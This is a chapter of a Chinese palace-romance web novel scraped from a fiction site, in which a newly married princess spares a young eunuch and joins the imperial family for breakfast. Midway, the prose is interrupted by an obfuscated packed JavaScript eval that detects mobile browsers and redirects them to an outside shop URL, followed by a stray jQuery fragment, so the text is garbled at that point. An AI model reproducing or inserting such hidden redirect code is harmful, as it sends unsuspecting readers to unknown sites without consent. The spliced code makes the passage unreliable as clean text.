文趣网 > 其他小说 > 开局救皇帝,他报恩把亲弟嫁我了? > 22. 我不知道啊,我听不见啊,我好……
    邓彦也不再去看,只是一挥拂尘,点点头。

    而后对着岑铮、姜璟恭敬笑道:

    “殿下和君侯快请吧,陛下和太后娘娘已经等候多时啦。”

    见状,岑铮有些狐疑的看了一眼邓彦,凭她这十年间对他了解,他绝对不是如此做事不周全的人,也绝不是如此草菅人命的人。

    难道这短短时日的宫廷生涯,对人的影响竟然巨大至此吗?

    不过事情既然已经发展到这份上了,见死不救似乎也有些说不过去。

    “慢着——”

    岑铮发话了。

    声音不算大,但是在场众人纷纷停下了手中的动作。

    不过也因为大家都停下了手中的动作,所以刚刚还在剧烈挣扎的小平安“咚”地一声摔在了地上,双膝着地,脑门刹车。

    岑铮的目光落在小平安身上,手轻轻朝后一摆,起先还卖力按着小平安的其它小黄门又都忙不迭的上前,七手八脚地把他身上的绳子给解开了。

    不过嘴里塞的手帕倒是没人敢摘。

    岑铮浅笑道:

    “邓都监,今日是我与子璋新婚第一日,大好的日子,不宜见血。

    就当是求个吉利,便先放了他,随意打发去个清闲见不得人的岗位就是。”

    言罢,又转而看向星星眼的姜璟。

    “阿璟,你说呢?”

    姜璟十分有嫁鸡随鸡嫁狗随狗的自觉,妇唱夫随道:

    “阿铮的意思,自然也就是我的意思。”

    邓彦有些意外的看向这个素来以清冷脱俗闻名的楚王殿下,不过还是顺从的点点头,笑道:

    “既然殿下与君侯都有此美意,那自无不可了。”

    说完,他转身,走到小平安面前蹲下,亲自将他嘴中的手帕拽出来,丢到地上。

    “你今日倒是好运道,还不快去向殿下和君侯谢恩?”

    说完,又转过身,面对着岑铮与姜璟道:

    “说来也是老奴的错,这些宫侍大多是前朝留下的,还未曾调教好,惹得殿下与君侯见笑了。”

    岑铮应和道:

    “哪里的话,都监身兼数职,已是繁忙至极,不过些许微末小事,何必放在心上?”

    说完,不待邓彦回话,便接着道:

    “坏了,耽搁这一会,我和子璋怕是要吃不上阿娘手工现做的羊肉烧饼和鲜肉小馄饨了!”

    一边说,一边拽着姜璟就往宫门里面跑。

    给邓彦看得眼睛都睁大了。

    “殿下,君侯——”

    “有肩舆啊!”

    岑铮十分豪爽地摆摆手:

    “不必不必,我们跑过去还快一点,这样吃食没准还是热乎的!”

    话音还未落下,人已经消失在了宫道拐角的尽头里了。

    徒留下原地一堆人,大眼瞪小眼。

    邓彦看着一如既往活泼直率的岑铮先是叹了一口气,而后无奈的笑笑。

    看了在场众人一眼,挥手示意清退,又点了几个腿脚利索的小黄门跟上去引路,而后带着来时的人马便要打道回府。

    喔,不对。

    还有那个刚刚被岑铮特意交代过要换个位置,免得回到原职被排挤的小黄门。

    “阿铮?”

    岑铮回头看向姜璟:

    “怎么了?累了?”

    姜璟气喘吁吁,但是摇了摇头。

    “阿铮,这不是去长乐宫的路吧?”

    姜璟看着足下的幽幽青草,又看了看面前堵住已经无路可走的围墙,发出了灵魂一问。

    岑铮挑眉,两个酒窝笑盈盈的:

    “谁说没有?”

    说完,不等姜璟反应,便单手环住他的腰,像扛麻袋一样把人抗在肩头,足下轻点,三两下就越过了三米多高的宫墙,丝滑落地。

    其实她一开始是想揪后脖领的,只是她害怕把姜璟勒到,况且那也太像拎狗了,有损他大昱亲王的形象。

    虽然但是,她也不想想难道扛麻袋就体面了吗?

    对于姜璟怨念的眼神,岑铮丝毫不care,满脑子只有老娘的武功真是太牛了的自豪!

    落了地,再走几步路,就来到了太后的长乐宫。

    姜璟震惊了。

    他有些难以想象,这个岑铮究竟是如何在这么短的时间内将皇宫的地形摸得一清二楚不说,连这种上天入地的小路都了解地如此清楚。

    但是转念一想,一股浓浓的自豪感便涌了上来。

    这就是他的阿铮,那般的聪慧过人,会常人所不能之事倒也不足为奇了。

    岑铮的脚步在宫门口顿住,环视一圈,而后又大跨步地牵着姜璟的手往里走。

    其实这是有些不符合礼仪的。

    哪有人走到哪都牵手呢?这于礼不合。

    可是岑铮的手那样温暖,那样的令人恋恋不舍,就在姜璟纠结犹豫的功夫,他们两人已经手牵手从宫门口走到长乐宫了。

    迈过大气厚重的华丽宫门,远远的,在前院花园的秋千架子上,正端方坐着一个小人,小人的对面还有一位宫装女子,正在宠溺的轻笑。

    岑铮大步朝前走去,自然地松开了姜璟的手。

    姜璟下意识的去追,却只抓了满手的空。

    于是他大步大步地朝岑铮的背影追去。

    与此同时,岑铮已经走到了那秋千的后面,还十分搞怪的对着那宫装女子比了个“噤声”的手势。

    那人倒也配合,不动声色地继续哄着那小娃娃。

    说时迟那时快。

    “呜呼~”

    原本匀速摆动的秋千忽然被一股巨力推动,荡得足有一人多高。

    那小人先是装模作样地“啊——”了一声,而后奶声奶气但是字正腔圆的喊道:

    “姑姑!”

    岑铮刻意放柔了声音:

    “岱儿,喜不喜欢?”

    三岁的姜岱非常用力的点头,超级大声道:

    “喜欢!”

    与此同时,姜璟也正好赶到,他的目光与从里屋出来的姜珩正好撞在一起。

    见到姜珩出来,岑铮也不敢再玩她乖乖的大侄子了,于是双手握住秋千的座椅,轻轻用力,便停下了高速晃动中的秋千。

    她伸手,将姜岱抱在怀里,朝着姜珩行礼道:

    “陛下——”

    姜珩冷脸。

    此时,小小年纪的姜岱伸出手指,戳了戳岑铮的下巴,用自以为非常小声,实则因为听力过好所以大家都能听见的声音提醒道:

    “姑姑,父皇说你要叫他阿兄。”

    岑铮:“阿兄。”

    姜珩这才顺着台阶下来,数落道:

    “你看你,还不如一个小孩子懂事。”

    说完,目光又落在秋千上,眼神里带着明显的不赞同。

    “秋千晃这么高,万一吓到孩子怎么办?”

    岑铮丝毫不吃压力,笑嘻嘻的戳着怀里小孩的小肉脸。

    “岱儿,告诉姑姑你怕吗?”

    姜岱摇摇头,还撸起袖子,伸出那藕节似的白生生圆滚滚的小肉手臂。

    “岱儿是男子汉,才不会怕!”

    见状,岑铮十分得意地看向姜珩。

    姜珩叹气,姜珩无奈。

    “调皮。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724008|207730||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    说完,目光又落在旁边看戏地幸灾乐祸的两人身上。

    “你们也是。”

    不知是谁先憋不住笑了,总之最后大家都笑成一团。

    就连李皇后,那个最最讲礼的世家贵女,也笑弯了一双温婉的眉目,伸出一只白皙秀丽的手轻轻捂着嘴掩笑,她很瘦,伶仃的手腕上,空空地挂着一个水头极佳的翡翠镯子。

    但不知道为什么,虽然相处不多,可她看李皇后总是觉得有些熟悉,可惜却是总也想不起来像谁。

    也可能她见得美人太多了,大抵是美人的相似性吧。

    要她说,其实这般看,阿兄与阿嫂还有岱儿,确实是很般配的三口之家啊。

    当然了,这个般配指的是颜值上。

    不等岑铮走神太久,姜珩就发话了:

    “别在外面玩了,快点进去吧,等下阿娘的羊肉烧饼都冷了。”

    说到吃,岑铮立马精神了。

    似乎因为刚刚成婚,还没有习惯自己身边带了个挂件似的夫君,所以她笑嘻嘻的,抱着姜岱就往殿里钻。

    一边钻还一边喊。

    “阿娘我来吃羊肉烧饼啦!”

    谁料姜岱也有模有样地喊道:

    “皇祖母我来吃羊肉烧饼啦!”

    见此,岑铮搞怪的点住姜岱的鼻尖,教道:

    “亏你刚刚还教我要叫你父皇阿兄呢,你现在要叫你皇祖母阿奶,这样她才开心,知道吗?”

    姜岱的眼睛眨了眨,似乎有点没绕过弯子来,但是他还是出于对岑铮的信任,点点头道:

    “阿奶我也来吃羊肉烧饼啦!”

    一进去,就看到打扮十分松弛的石大娘子。

    石大娘子,也就是太后娘娘,今日十分接地气的穿了一身半新不旧的湖蓝色衣衫,外面罩着一件白色狐毛的裘衣。

    说不上质朴吧,但是光看头上几乎被减去一半的钗环就知道,绝对称不上华丽。

    石大娘子年逾耳顺,却是个极其喜好打扮自己的人,今日这身装扮,换在谁家老太太身上都正常,就是在石大娘子身上,太不对劲了点。

    岑铮狐疑的看向太后。

    怎么感觉今天在场的所有人都有一种特意假扮松弛感,但是却画虎不成反类犬的紧绷感呢?

    太不自然了,今天。

    见岑铮似乎有所察觉,太后也不藏着掖着,一手牵一个地往里面走。

    先是笑着夸了夸自家乖孙,完成KPI,然后就将目光投向岑铮。

    “阿娘的小於菟啊,你可不知道,你阿兄今日一来就过来对阿娘的穿搭指指点点。”

    岑铮:“指指点点,阿兄,啊?”

    太后苦瓜似地皱巴着脸,告状般的点着头。

    “对啊,你阿兄。”

    “今日辰时整就来了我宫里,然后对着我精心打扮的妆容说这说那,说什么,今天是你第一天成为姜家的儿媳妇,要我们都放松一点,别让你感到压力什么的,所以连带着为娘连衣衫都换了。”

    “ε=(?ο`*)))唉。”

    太后幽幽地叹了一口气。

    此时,姜珩也幽怨着脸开始吐槽。

    “我尊贵的太后娘娘,儿臣这不是怕你那满头的钗环压垮您那早就岌岌可危的脖子吗?”

    边说,边向岑铮招手道:

    “来来来,你评评理。”

    岑铮的目光在姜珩与石大娘子的脸上逡巡着,本着清官难断家务事的原则,也不理为何姜珩今日这般超乎寻常的欢乐跳脱,直接抬手捂住耳朵就往餐桌跑。

    “我不知道啊,我听不见啊,我好饿啊,我们来吃饭吧!”